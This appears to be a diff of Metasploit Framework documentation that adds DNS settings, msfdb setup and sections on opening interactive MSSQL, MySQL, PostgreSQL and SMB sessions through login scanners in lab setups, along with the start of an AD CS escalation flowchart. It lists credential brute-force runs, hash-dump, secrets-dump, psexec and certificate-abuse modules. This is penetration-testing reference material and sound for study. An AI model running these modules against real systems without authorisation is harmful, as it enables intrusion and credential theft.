dns add --rule *.noresolve.lan black-hole
|
||||
```
|
||||
|
||||
## Static DNS Entries
|
||||
Static entries used by the static resolver are configured through the `add-static` and `remove-static` subcommands. The
|
||||
currently configured entries can be viewed in the `dns print` output and all entries can be flushed with the
|
||||
`flush-static` subcommand. Static entries that are configured are shared across *all* rules in which a static resolver
|
||||
is specified. In order for the static entry to be used, at least one rule must match the hostname, and that rule must be
|
||||
configured to use the static resolver. A single hostname can be associated with multiple IP addresses and the same IP
|
||||
address can be associated with multiple hostnames.
|
||||
|
||||
### Example Static Entries
|
||||
|
||||
Define static entries for `localhost` and common variations.
|
||||
|
||||
```
|
||||
dns add-static localhost 127.0.0.1 ::1
|
||||
dns add-static localhost4 127.0.0.1
|
||||
dns add-static localhost6 ::1
|
||||
```
|
||||
|
||||
Remove all static entries for `localhost`.
|
||||
|
||||
```
|
||||
dns remove-static localhost
|
||||
```
|
||||
|
||||
Remove all static entries.
|
||||
|
||||
```
|
||||
dns flush-static
|
||||
```
|
||||
|
||||
## The DNS Cache
|
||||
DNS query replies are cached internally by Metasploit based on their TTL. This intends to minimize the amount of network
|
||||
traffic required to perform the necessary lookups. The number of query replies that are currently cached is available in
|
||||
the `dns print` output and all replies can be flushed with the `flush-cache` subcommand.
|
||||
|
||||
## Configuration Management
|
||||
The DNS configuration can be saved using the `save` command from the `msfconsole` command context. Once saved, the
|
||||
settings will be automatically restored the next time Metasploit starts up. Any changes that are made at runtime will be
|
||||
lost when Metasploit exits, unless the `save` command is used.
|
||||
|
||||
### Resetting the Configuration
|
||||
The DNS configuration can be restored to the default state by using the `reset-config` subcommand. The default
|
||||
configuration:
|
||||
|
||||
* Populates the static entries from the host operating system's `hosts` file
|
||||
* Defines a single rule that matches all query names whose first resolver is the `static` resolver and the remaining
|
||||
resolvers are set from the host operating systems' resolv.conf file
|
||||
|
||||
## Resolving hostnames
|
||||
The `resolve` subcommand can be used to resolve a hostname to either an IPv4 or IPv6 address. In doing so, the rule that
|
||||
was used to define the resolvers will be printed allowing the wildcard matching logic to be tested.
|
||||
@@ -29,7 +29,7 @@ All of the above features can also be logically separated within workspaces. By
|
||||
|
||||
## Using msfdb
|
||||
|
||||
Using msfdb is simple. If you are starting the database for the first time navigate to the folder Metasploit is saved to, and run `./msfdb init`.
|
||||
Using msfdb is simple. If you are starting the database for the first time navigate to the folder Metasploit is saved to, and run `./msfdb init`
|
||||
```
|
||||
Creating database at /Users/your_current_account_name/.msf4/db
|
||||
Starting database at /Users/your_current_account_name/.msf4/db...success
|
||||
@@ -39,9 +39,14 @@ Starting database at /Users/your_current_account_name/.msf4/db...success
|
||||
Creating initial database schema
|
||||
```
|
||||
|
||||
This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information.
|
||||
This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information. If you start up msfconsole now it should automatically connect to the database, and if you run `db_status` you should see something like this:
|
||||
|
||||
msfdb then needs to establish the credentials that are used in the Web Service. The Web Service is how Metasploit connects to the database we have just created. The first prompt asks you what username you want to use to connect to the database.
|
||||
```
|
||||
msf6 > db_status
|
||||
[*] Connected to msf. Connection type: postgresql.
|
||||
```
|
||||
|
||||
You can also setup a Web Service, which Metasploit can use to connect to the database you have just created. Msfdb needs to establish the credentials that are used in the Web Service. If you run `msfdb --component webservice init` the first prompt asks you what username you want to use to connect to the database:
|
||||
|
||||
```
|
||||
[?] Initial MSF web service account username? [your_current_account_name]:
|
||||
|
||||
@@ -3,11 +3,23 @@
|
||||
Microsoft SQL Server (MSSQL) is a relational database management system. Commonly used in conjunction with web applications
|
||||
and other software that need to persist data. MSSQL is a useful target for data extraction and code execution.
|
||||
|
||||
MySQL is frequently found on port on the following ports:
|
||||
MSSQL is frequently found on port on the following ports:
|
||||
|
||||
- 1433/TCP
|
||||
- 1434/UDP
|
||||
|
||||
For a full list of MSSQL modules run the `search` command within msfconsole:
|
||||
|
||||
```msf
|
||||
msf6 > search mssql
|
||||
```
|
||||
|
||||
Or to search for modules that work with a specific session type:
|
||||
|
||||
```msf
|
||||
msf6 > search session_type:mssql
|
||||
```
|
||||
|
||||
### Lab Environment
|
||||
|
||||
Environment setup:
|
||||
@@ -26,6 +38,176 @@ use auxiliary/admin/mssql/mssql_sql
|
||||
run rhost=192.168.123.13 username=administrator password=p4$$w0rd sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
|
||||
```
|
||||
|
||||
### Logging in and obtaining a session
|
||||
To log in or obtain an interactive session on an MSSQL instance running on the target, use mssql_login
|
||||
|
||||
```msf
|
||||
use auxiliary/scanner/mssql_login
|
||||
run CreateSession=true RPORT=1433 RHOSTS=192.168.2.242 USERNAME=user PASSWORD=password
|
||||
```
|
||||
|
||||
The CreateSession option, when set to true, will result in returning an interactive MSSQL session with the target machine
|
||||
on a successful login:
|
||||
|
||||
```msf
|
||||
[*] 192.168.2.242:1433 - 192.168.2.242:1433 - MSSQL - Starting authentication scanner.
|
||||
[!] 192.168.2.242:1433 - No active DB -- Credential data will not be saved!
|
||||
[+] 192.168.2.242:1433 - 192.168.2.242:1433 - Login Successful: WORKSTATION\user:password
|
||||
[*] MSSQL session 1 opened (192.168.2.1:60963 -> 192.168.2.242:1433) at 2024-03-15 13:41:31 -0500
|
||||
[*] 192.168.2.242:1433 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:60963 -> 192.168.23.242:1433 (192.168.2.242)
|
||||
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query 'select @@version;'
|
||||
Response
|
||||
========
|
||||
|
||||
# NULL
|
||||
- ----
|
||||
0 Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
|
||||
Oct 8 2022 05:58:25
|
||||
Copyright (C) 2022 Microsoft Corporation
|
||||
Developer Edition (64-bit) on Windows Server 2022 Stand
|
||||
ard 10.0 <X64> (Build 20348: ) (Hypervisor)
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
mssql @ 192.168.2.242:1433 (master) > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the PostgreSQL session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
MSSQL Client Commands
|
||||
=====================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
query Run a single SQL query
|
||||
query_interactive Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/mssql/mssql_enum
|
||||
auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||
auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
auxiliary/admin/mssql/mssql_exec
|
||||
auxiliary/admin/mssql/mssql_findandsampledata
|
||||
auxiliary/admin/mssql/mssql_idf
|
||||
auxiliary/admin/mssql/mssql_sql
|
||||
auxiliary/admin/mssql/mssql_sql_file
|
||||
auxiliary/scanner/mssql/mssql_hashdump
|
||||
auxiliary/scanner/mssql/mssql_schemadump
|
||||
exploit/windows/mssql/mssql_payload
|
||||
```
|
||||
|
||||
To interact directly with the session as if in a SQL prompt, you can use the `query` command.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i -1
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query -h
|
||||
Usage: query
|
||||
|
||||
Run a single SQL query on the target.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-h, --help Help menu.
|
||||
-i, --interact Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
Examples:
|
||||
|
||||
query select @@version;
|
||||
query select user_name();
|
||||
query select name from master.dbo.sysdatabases;
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query 'select @@version;'
|
||||
Response
|
||||
========
|
||||
|
||||
# NULL
|
||||
- ----
|
||||
0 Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
|
||||
Oct 8 2022 05:58:25
|
||||
Copyright (C) 2022 Microsoft Corporation
|
||||
Developer Edition (64-bit) on Windows Server 2022 Standard 10.0 <X64> (B
|
||||
uild 20348: ) (Hypervisor)
|
||||
```
|
||||
|
||||
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
|
||||
|
||||
```msf
|
||||
mssql @ 192.168.2.242:1433 (master) > query_interactive -h
|
||||
Usage: query_interactive
|
||||
|
||||
Go into an interactive SQL shell where SQL queries can be executed.
|
||||
To exit, type 'exit', 'quit', 'end' or 'stop'.
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query_interactive
|
||||
[*] Starting interactive SQL shell for mssql @ 192.168.2.242:1433 (master)
|
||||
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
|
||||
|
||||
SQL >> select *
|
||||
SQL *> from information_schema.tables
|
||||
SQL *> where table_type = 'BASE TABLE';
|
||||
[*] Executing query: select * from information_schema.tables where table_type = 'BASE TABLE';
|
||||
Response
|
||||
========
|
||||
# TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
|
||||
- ------------- ------------ ---------- ----------
|
||||
0 master dbo spt_fallback_db BASE TABLE
|
||||
1 master dbo spt_fallback_dev BASE TABLE
|
||||
2 master dbo spt_fallback_usg BASE TABLE
|
||||
4 master dbo Users BASE TABLE
|
||||
5 master dbo spt_monitor BASE TABLE
|
||||
6 master dbo MSreplication_options BASE TABLE
|
||||
SQL >>
|
||||
```
|
||||
|
||||
### Link crawling
|
||||
|
||||
Identify if the SQL server has been configured with trusted links, which allows running queries on other MSSQL instances:
|
||||
|
||||
@@ -17,6 +17,12 @@ There are more modules than listed here, for the full list of modules run the `s
|
||||
msf6 > search mysql
|
||||
```
|
||||
|
||||
Or to search for modules that work with a specific session type:
|
||||
|
||||
```msf
|
||||
msf6 > search session_type:mysql
|
||||
```
|
||||
|
||||
### Lab Environment
|
||||
|
||||
When testing in a lab environment MySQL can either be installed on the host machine or within Docker:
|
||||
@@ -79,6 +85,158 @@ run cidr:/24:mysql://user:pass@192.168.222.0 threads=50
|
||||
run cidr:/24:mysql://user@192.168.222.0 threads=50 pass_file=./wordlist.txt
|
||||
```
|
||||
|
||||
### Obtaining an Interactive Session on the Target
|
||||
|
||||
The CreateSession option in `auxiliary/scanner/mysql/msql_login` allows you to obtain an interactive session
|
||||
for the MySQL client you're connecting to. The run command with CreateSession
|
||||
set to true should give you an interactive session:
|
||||
|
||||
```msf
|
||||
msf6 > use scanner/mysql/mysql_login
|
||||
msf6 auxiliary(scanner/mysql/mysql_login) > run rhost=127.0.0.1 rport=4306 username=root password=password createsession=true
|
||||
|
||||
[+] 127.0.0.1:4306 - 127.0.0.1:4306 - Found remote MySQL version 11.2.2
|
||||
[+] 127.0.0.1:4306 - 127.0.0.1:4306 - Success: 'root:password'
|
||||
[*] MySQL session 1 opened (127.0.0.1:53241 -> 127.0.0.1:4306) at 2024-03-12 12:40:46 -0500
|
||||
[*] 127.0.0.1:4306 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
mysql @ 127.0.0.1:4306 >
|
||||
```
|
||||
|
||||
You can interact with your new session using `sessions -i -1` or `sessions <session id>`.
|
||||
You can also use `help` to get more information about how to use your session.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/mysql/mysql_login) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
2 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:61428 -> 192.168.2.242:1433 (192.168.2.242)
|
||||
3 mysql MySQL root @ 127.0.0.1:4306 127.0.0.1:61450 -> 127.0.0.1:4306 (127.0.0.1)
|
||||
|
||||
msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i 3
|
||||
[*] Starting interaction with 3...
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
mysql @ 127.0.0.1:4306 > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the PostgreSQL session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
MySQL Client Commands
|
||||
=====================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
query Run a single SQL query
|
||||
query_interactive Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/mysql/mysql_enum
|
||||
auxiliary/admin/mysql/mysql_sql
|
||||
auxiliary/scanner/mysql/mysql_file_enum
|
||||
auxiliary/scanner/mysql/mysql_hashdump
|
||||
auxiliary/scanner/mysql/mysql_schemadump
|
||||
auxiliary/scanner/mysql/mysql_version
|
||||
auxiliary/scanner/mysql/mysql_writable_dirs
|
||||
exploit/multi/mysql/mysql_udf_payload
|
||||
exploit/windows/mysql/mysql_mof
|
||||
exploit/windows/mysql/mysql_start_up
|
||||
```
|
||||
|
||||
Once you've done that, you can run any MySQL query against the target using the `query` command:
|
||||
|
||||
```msf
|
||||
mysql @ 127.0.0.1:4306 > query -h
|
||||
Usage: query
|
||||
|
||||
Run a single SQL query on the target.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-h, --help Help menu.
|
||||
-i, --interact Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
Examples:
|
||||
|
||||
query SHOW DATABASES;
|
||||
query USE information_schema;
|
||||
query SELECT * FROM SQL_FUNCTIONS;
|
||||
query SELECT version();
|
||||
|
||||
mysql @ 127.0.0.1:4306 > query 'SELECT version();'
|
||||
Response
|
||||
========
|
||||
|
||||
# version()
|
||||
- ---------
|
||||
0 11.2.2-MariaDB-1:11.2.2+maria~ubu2204
|
||||
```
|
||||
|
||||
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
|
||||
|
||||
```msf
|
||||
mysql @ 127.0.0.1:4306 () > query_interactive -h
|
||||
Usage: query_interactive
|
||||
|
||||
Go into an interactive SQL shell where SQL queries can be executed.
|
||||
To exit, type 'exit', 'quit', 'end' or 'stop'.
|
||||
|
||||
mysql @ 127.0.0.1:4306 () > query_interactive
|
||||
[*] Starting interactive SQL shell for mysql @ 127.0.0.1:4306 ()
|
||||
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
|
||||
|
||||
SQL >> SELECT table_name
|
||||
SQL *> FROM information_schema.tables
|
||||
SQL *> LIMIT 2;
|
||||
[*] Executing query: SELECT table_name FROM information_schema.tables LIMIT 2;
|
||||
Response
|
||||
========
|
||||
|
||||
# table_name
|
||||
- ----------
|
||||
0 ALL_PLUGINS
|
||||
1 APPLICABLE_ROLES
|
||||
|
||||
SQL >>
|
||||
```
|
||||
|
||||
### MySQL Dumping
|
||||
|
||||
User and hash dump:
|
||||
|
||||
@@ -17,6 +17,13 @@ There are more modules than listed here, for the full list of modules run the `s
|
||||
msf6 > search postgres
|
||||
```
|
||||
|
||||
Or to search for modules that work with a specific session type:
|
||||
|
||||
```msf
|
||||
msf6 > search session_type:postgres
|
||||
```
|
||||
|
||||
|
||||
### Lab Environment
|
||||
|
||||
When testing in a lab environment PostgreSQL can either be installed on the host machine or within Docker:
|
||||
@@ -80,6 +87,158 @@ run cidr:/24:postgres://user:pass@192.168.222.0 threads=50
|
||||
run cidr:/24:postgres://user@192.168.222.0 threads=50 pass_file=./wordlist.txt
|
||||
```
|
||||
|
||||
### Obtaining an Interactive Session
|
||||
The CreateSession option for `auxiliary/scanner/postgres/postgres_login` allows you to obtain an
|
||||
interactive session for the Postgres client you're connecting to. The run command with CreateSession
|
||||
set to true should give you an interactive session.
|
||||
|
||||
For example:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/postgres/postgres_login) > run rhost=127.0.0.1 rport=5432 username=postgres password=password database=template1 createsession=true
|
||||
```
|
||||
|
||||
Should yield:
|
||||
|
||||
```msf
|
||||
[+] 127.0.0.1:5432 - Login Successful: postgres:password@template1
|
||||
[*] PostgreSQL session 1 opened (127.0.0.1:61324 -> 127.0.0.1:5432) at 2024-03-15 14:00:12 -0500
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
You can interact with your session using `sessions -i -1` or `sessions <session id>`.
|
||||
Use the help command for more info.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/postgres/postgres_login) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 postgresql PostgreSQL postgres @ 127.0.0.1:5432 127.0.0.1:61324 -> 127.0.0.1:5432 (127.0.0.1)
|
||||
|
||||
msf6 auxiliary(scanner/postgres/postgres_login) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
postgresql @ 127.0.0.1:5432 (template1) > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the PostgreSQL session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
PostgreSQL Client Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
query Run a single SQL query
|
||||
query_interactive Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/postgres/postgres_readfile
|
||||
auxiliary/admin/postgres/postgres_sql
|
||||
auxiliary/scanner/postgres/postgres_hashdump
|
||||
auxiliary/scanner/postgres/postgres_schemadump
|
||||
auxiliary/scanner/postgres/postgres_version
|
||||
exploit/linux/postgres/postgres_payload
|
||||
exploit/multi/postgres/postgres_copy_from_program_cmd_exec
|
||||
exploit/multi/postgres/postgres_createlang
|
||||
exploit/windows/postgres/postgres_payload
|
||||
```
|
||||
|
||||
Once you've done that, you can run any Postgres query against the target using the `query` command:
|
||||
|
||||
```msf
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query -h
|
||||
Usage: query
|
||||
|
||||
Run a single SQL query on the target.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-h, --help Help menu.
|
||||
-i, --interact Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
Examples:
|
||||
|
||||
query SELECT user;
|
||||
query SELECT version();
|
||||
query SELECT * FROM pg_catalog.pg_tables;
|
||||
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query 'SELECT version();'
|
||||
[*] SELECT 1
|
||||
|
||||
Response
|
||||
========
|
||||
|
||||
# version
|
||||
- -------
|
||||
0 PostgreSQL 14.1 on aarch64-apple-darwin20.6.0, compiled by Apple clang version 12.0.5 (clang-1205.0.22.9), 64-bit
|
||||
```
|
||||
|
||||
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
|
||||
|
||||
```msf
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query_interactive -h
|
||||
Usage: query_interactive
|
||||
|
||||
Go into an interactive SQL shell where SQL queries can be executed.
|
||||
To exit, type 'exit', 'quit', 'end' or 'stop'.
|
||||
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query_interactive
|
||||
[*] Starting interactive SQL shell for postgresql @ 127.0.0.1:5432 (template1)
|
||||
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
|
||||
|
||||
SQL >> SELECT table_name
|
||||
SQL *> FROM information_schema.tables
|
||||
SQL *> LIMIT 2;
|
||||
[*] Executing query: SELECT table_name FROM information_schema.tables LIMIT 2;
|
||||
[*] SELECT 2
|
||||
|
||||
Response
|
||||
========
|
||||
|
||||
# table_name
|
||||
- ----------
|
||||
0 pg_statistic
|
||||
1 pg_type
|
||||
|
||||
SQL >>
|
||||
```
|
||||
|
||||
### PostgreSQL Capture Server
|
||||
|
||||
Captures and log PostgreSQL credentials:
|
||||
|
||||
@@ -8,7 +8,7 @@ There are two main ports for SMB:
|
||||
- 445/TCP - Newer versions of SMB use this port, were NetBIOS is not used.
|
||||
|
||||
Other terminology to be aware of:
|
||||
- SMB - Serer Message Blocks
|
||||
- SMB - Server Message Blocks
|
||||
- CIFS - Common Internet File System
|
||||
- Samba - A free software re-implementation of SMB, which is frequently found on unix-like systems
|
||||
|
||||
@@ -27,6 +27,12 @@ There are more modules than listed here, for the full list of modules run the `s
|
||||
msf6 > search smb
|
||||
```
|
||||
|
||||
Or to search for modules that work with a specific session type:
|
||||
|
||||
```msf
|
||||
msf6 > search session_type:smb
|
||||
```
|
||||
|
||||
### Lab Environment
|
||||
|
||||
When testing in a lab environment - SMB can be used on a Window's host machine, or within Docker.
|
||||
@@ -63,6 +69,122 @@ Restart the service:
|
||||
service smbd restart
|
||||
```
|
||||
|
||||
### SMB Login and Interactive Sessions
|
||||
|
||||
When using the smb_login module, the CreateSession option can be used to obtain an interactive
|
||||
session within the smb instance. Running with the following options:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/smb/smb_login) > run CreateSession=true RHOSTS=172.14.2.164 RPORT=445 SMBDomain=windomain.local SMBPass=password SMBUser=username
|
||||
```
|
||||
|
||||
Should give you output similar to
|
||||
|
||||
```msf
|
||||
[*] 172.14.2.164:445 - 172.14.2.164:445 - Starting SMB login bruteforce
|
||||
[+] 172.14.2.164:445 - 172.14.2.164:445 - Success: 'windomain.local\username:password' Administrator
|
||||
[*] SMB session 1 opened (172.16.158.1:62793 -> 172.14.2.164:445) at 2024-03-12 17:03:09 +0000
|
||||
[*] 172.14.2.164:445 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
```
|
||||
|
||||
Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
SMB (172.14.2.164) > shares
|
||||
Shares
|
||||
======
|
||||
|
||||
# Name Type comment
|
||||
- ---- ---- -------
|
||||
0 ADMIN$ DISK|SPECIAL Remote Admin
|
||||
1 C$ DISK|SPECIAL Default share
|
||||
2 foo DISK
|
||||
3 IPC$ IPC|SPECIAL Remote IPC
|
||||
|
||||
SMB (172.14.2.164) > shares -i foo
|
||||
[+] Successfully connected to foo
|
||||
SMB (172.14.2.164\foo) > ls
|
||||
ls
|
||||
===
|
||||
[truncated]
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
SMB (172.14.2.164\foo) > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the SMB session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
Shares Commands
|
||||
===============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
cat Read the file at the given path
|
||||
cd Change the current remote working directory
|
||||
delete Delete a file
|
||||
dir List all files in the current directory (alias for ls)
|
||||
download Download a file
|
||||
ls List all files in the current directory
|
||||
mkdir Make a new directory
|
||||
pwd Print the current remote working directory
|
||||
rmdir Delete a directory
|
||||
shares View the available shares and interact with one
|
||||
upload Upload a file
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/dcerpc/icpr_cert
|
||||
auxiliary/admin/dcerpc/samr_computer
|
||||
auxiliary/admin/smb/delete_file
|
||||
auxiliary/admin/smb/download_file
|
||||
auxiliary/admin/smb/psexec_ntdsgrab
|
||||
auxiliary/admin/smb/upload_file
|
||||
auxiliary/gather/windows_secrets_dump
|
||||
auxiliary/scanner/smb/pipe_auditor
|
||||
auxiliary/scanner/smb/pipe_dcerpc_auditor
|
||||
auxiliary/scanner/smb/smb_enum_gpp
|
||||
auxiliary/scanner/smb/smb_enumshares
|
||||
auxiliary/scanner/smb/smb_enumusers
|
||||
auxiliary/scanner/smb/smb_enumusers_domain
|
||||
auxiliary/scanner/smb/smb_lookupsid
|
||||
exploit/windows/smb/psexec
|
||||
```
|
||||
|
||||
### SMB Enumeration
|
||||
|
||||
Enumerate SMB version:
|
||||
|
||||
@@ -24,7 +24,9 @@ The latest OS X installer package can also be downloaded directly here: <https:/
|
||||
|
||||
## Installing Metasploit on Windows
|
||||
|
||||
Download the [latest Windows installer](https://windows.metasploit.com/metasploitframework-latest.msi) or [view older builds](https://windows.metasploit.com/). To install, simply download the .msi package, adjust your Antivirus as-needed to ignore c:\metasploit-framework, double-click and enjoy. The msfconsole command and all related tools will be added to the system %PATH% environment variable.
|
||||
Download the [latest Windows installer](https://windows.metasploit.com/metasploitframework-latest.msi) or [view older builds](https://windows.metasploit.com/).
|
||||
To install, download the `.msi` package, adjust your Antivirus as-needed to ignore `c:\metasploit-framework` and execute the installer by right-clicking the installer file and selecting "Run as Administrator".
|
||||
The msfconsole command and all related tools will be added to the system `%PATH%` environment variable.
|
||||
|
||||
### Windows Anti-virus software flags the contents of these packages!
|
||||
|
||||
|
||||
+118
-34
@@ -5,18 +5,39 @@ for testing purposes.
|
||||
# Introduction to AD CS Vulnerabilities
|
||||
```mermaid
|
||||
flowchart TD
|
||||
escexp[Find vulnerable certificate templates\nvia ldap_esc_vulnerable_cert_finder] --> icpr[Issue certificates via icpr_cert]
|
||||
icpr[Issue certificates via icpr_cert] --> ESC1{{ESC1}}
|
||||
ESC1{{ESC1}} -- Via PKINIT --> pkinit{Authenticate to Kerberos}
|
||||
icpr[Issue certificates via icpr_cert] --> users[Request certificates on behalf of other users]
|
||||
users[Request certificates on behalf of other users] --> ESC2{{ESC2}}
|
||||
users[Request certificates on behalf of other users] --> ESC3{{ESC3}}
|
||||
ESC2{{ESC2}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
|
||||
ESC3{{ESC3}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
|
||||
ad_cs_template[Reconfigure certificates via ad_cs_cert_template] -- Exploit configuration --> icpr
|
||||
subgraph ad_cs_cert_templates[<b>ad_cs_cert_templates</b>]
|
||||
ESC4(ESC4)
|
||||
update_template[<i>Update Template</i>]
|
||||
ESC4 --> update_template
|
||||
end
|
||||
subgraph icpr_cert[<b>icpr_cert</b>]
|
||||
ESC1(ESC1)
|
||||
ESC2(ESC2)
|
||||
ESC3(ESC3)
|
||||
ESC13(ESC13)
|
||||
alt_subject[<i>Alternate Subject Issuance</i>]
|
||||
as_eagent[<i>Enrollment Agent Issuance</i>]
|
||||
normal[<i>Normal Issuance</i>]
|
||||
|
||||
ESC1 --> alt_subject
|
||||
ESC2 --> as_eagent
|
||||
ESC3 --> as_eagent
|
||||
ESC13 --> normal
|
||||
as_eagent -- use new certificate --> normal
|
||||
end
|
||||
